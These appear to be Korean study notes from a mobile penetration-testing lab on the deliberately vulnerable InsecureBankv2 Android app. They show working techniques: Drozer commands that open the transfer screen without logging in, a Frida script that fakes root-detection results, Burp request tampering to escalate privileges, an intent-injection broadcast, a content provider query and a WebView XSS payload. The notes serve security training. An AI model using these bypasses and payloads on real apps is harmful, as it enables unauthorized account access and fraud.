주제: 동적 분석 및 익스플로잇
해야할 것: 런타임 공격 기법 실습: 인증 우회, 루트/에뮬레이터 탐지 우회 등
동적 분석이란?
이제 정적 분석(서류 검토)을 마쳤으니, 여기서 찾은 취약점이 진짜인지 확인하고 직접 공격해보는 동적 분석(실전 훈련) 단계로 넘어가면 됩니다.
frida 설치하기
pip install frida-tools
adb shell getprop ro.product.cpu.abi
프리다 서버는 CPU 아키텍처별로 다르게 제공되는데
너는 x86 에뮬레이터니까 다음 파일 받아야 해:
압축풀기
cf) adb 실행 경로를 “시스템 PATH”에 등록하기
17 버전 맞춰주기
py -3.10 --version
MobSF 리포트에서 찾은 exported=true 로 설정된 컴포넌트들을 Drozer라는 도구로 공격해보는 것이 가장 확실한 다음 단계입니다.
🎯 1단계: 공격 목표 설정하기
MobSF 리포트의 MANIFEST ANALYSIS 탭을 다시 보세요. 거기서 exported=true로 외부에 노출된 Activity 중 가장 위험해 보이는 것을 하나 고릅니다.
최적의 공격 목표: com.android.insecurebankv2.DoTransfer (송금 화면)
🛠️ 2단계: 동적 분석 도구(Drozer) 준비하기
Drozer는 내가 직접 제어할 수 있는 '해킹 앱'이라고 생각하면 쉽습니다. 이 앱을 스마트폰에 설치하면, 컴퓨터의 명령어를 통해 다른 앱의 취약한 부분을 찔러볼 수 있습니다.
PC에 Drozer를 설치하고, 분석용 스마트폰(또는 에뮬레이터)에 Drozer Agent 앱(APK)을 설치해야 합니다.
💥 3단계: Drozer로 공격 실행하기
Drozer 설정이 끝나면, PC 터미널에서 아래와 같은 명령어를 통해 DoTransfer 화면을 직접 실행시켜 봅니다.
공격 가능한 지점(Attack Surface) 스캔:
Bash
run app.package.attacksurface com.android.insecurebankv2
이 명령어를 치면 exported=true로 설정된 모든 컴포넌트 목록이 나타납니다.
취약한 Activity 강제 실행:
Bash
run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.DoTransfer
이 명령어는 로그인 과정을 모두 무시하고 송금(DoTransfer) 화면을 즉시 실행하라는 공격 명령어입니다.
📝 4단계: 결과 확인 및 기록
위 명령어를 실행했을 때, 스마트폰 화면에 로그인 없이 바로 '송금' 화면이 나타난다면 공격에 성공한 것입니다.
"정적 분석에서 발견한 exported=true 취약점을 Drozer를 이용한 동적 분석으로 공격한 결과, 로그인 없이도 송금 화면에 직접 접근할 수 있음을 확인했다"
목표: 앱이 디바이스 상태(루트/에뮬레이터/디버거 여부)를 체크하는 지점을 찾아 훅(hook)하여 탐지 결과를 속여본다.
앱 내에서 루트/에뮬레이터 판별에 사용하는 메서드의 반환값을 바꾼다.
일반적으로 isDeviceRooted(), checkRootMethod1() 형태로 커스텀 함수나 android.os.* API, Build 정보, su 바이너리 존재 여부 등을 검사한다.
간단한 Frida 예시
// frida_root_bypass.js
Java.perform(function () {
// 예: com.example.security.RootChecker.isDeviceRooted() 를 무조건 false로
var RootChecker = Java.use("com.example.security.RootChecker");
if (RootChecker && RootChecker.isDeviceRooted) {
RootChecker.isDeviceRooted.implementation = function () {
console.log("[*] isDeviceRooted() hooked -> returning false");
return false;
};
}
// 자바의 Build.FINGERPRINT 같은 체크를 무력화
var Build = Java.use("android.os.Build");
try {
Build.FINGERPRINT.value = "generic"; // 또는 정상값으로 강제
} catch (e) {}
});
실행: frida -U -f com.example.vulnerableapp -l frida_root_bypass.js --no-pause
목표: 앱이 보내는 HTTP/HTTPS 요청을 가로채 파라미터 조작, 세션 토큰 검사, 민감 정보 평문 전송 확인 등 수행.
절차 요약
a. Burp를 로컬에서 실행하고 프록시(예: 127.0.0.1:8080) 설정
b. 모바일/에뮬레이터의 프록시를 Burp로 지정하고, Burp CA 인증서를 설치(HTTPS 검사 시)
c. 요청 가로채기(intercept) → 요청/응답 수정 → 재전송 → 앱 동작 확인
* 로그인 요청 POST: {"username":"user","password":"pass"}
* 중간에서 isAdmin:false → isAdmin:true로 변경하여 권한 상승을 시도(테스트 환경에서만).
목표: 앱이 서버 인증서를 고정(SSL pinning)했는지 확인하고 연구용으로 우회 시도.
방법(개요)
a. Burp CA 설치 후에도 연결 차단된다면 SSL pinning 가능성 높음.
b. 연구용 우회 방법: 앱 코드 훅(예: Frida로 checkServerTrusted/X509TrustManager 훅), 또는 앱의 네이티브 라이브러리 훅.
a. 파라미터 조작(서버/클라이언트 측 유효성 검증 부재)
예: 앱이 결제 API에 amount 파라미터를 클라이언트에서 신뢰한다면, 요청 가로채기 후 금액 변경 → 결제 흐름이 어떻게 동작하는지 확인.
b. Intent 인젝션(로컬 인터컴)
앱이 외부 Intent를 통해 민감한 동작(예: com.example.app.ACTION_RESET_PASSWORD)을 처리할 때, 악의적 Intent를 보내 기능을 조작할 수 있다.
adb로 예시 전송:
adb shell am broadcast -a "com.example.app.ACTION_TEST" --es "user" "attacker"
PoC 시나리오
* WebView에 쿼리 파라미터로 전달된 텍스트를 그대로 innerHTML에 넣는 페이지가 있다고 가정.
* 임의 스크립트 삽입 후 WebView 내에서 민감한 데이터(예: document.cookie 또는 WebView 브리지를 통해 네이티브 API 호출)를 탈취.
간단한 예시 HTML
<!-- vulnerable.html -->
<html><body>
<div id="q"></div>
<script>
const params = new URLSearchParams(location.search);
document.getElementById('q').innerHTML = params.get('msg'); // 취약 코드
</script>
</body></html>
vulnerable.html?msg=<script>alert('XSS')</script>목표: 잘못된 권한 설정(exported providers, URI 권한 미검증)으로 데이터가 노출되거나 조작되는지 확인.
검사 항목
* AndroidManifest.xml에서 <provider android:exported="true"> 여부
* 권한 없이 접근 가능한 URI가 있는지 확인 (content://com.example.provider/users 등)
adb를 사용한 간단 조회 예시
//만약 노출되어 있으면
adb shell content query --uri content://com.example.provider/users
시나리오: 앱의 로그인 API가 토큰 검사 없이 단순히 role 파라미터를 신뢰해 세션을 생성한다면
Burp로 PoC 흐름
a. 로그인 요청 가로채기: POST /api/login {"username":"user","password":"pass"}
b. 응답이 {"token":"abc","role":"user"}일 때, 후속 요청에서 Authorization: Bearer abc 대신 role: admin 헤더/파라미터를 추가하여 권한 상승 여부 확인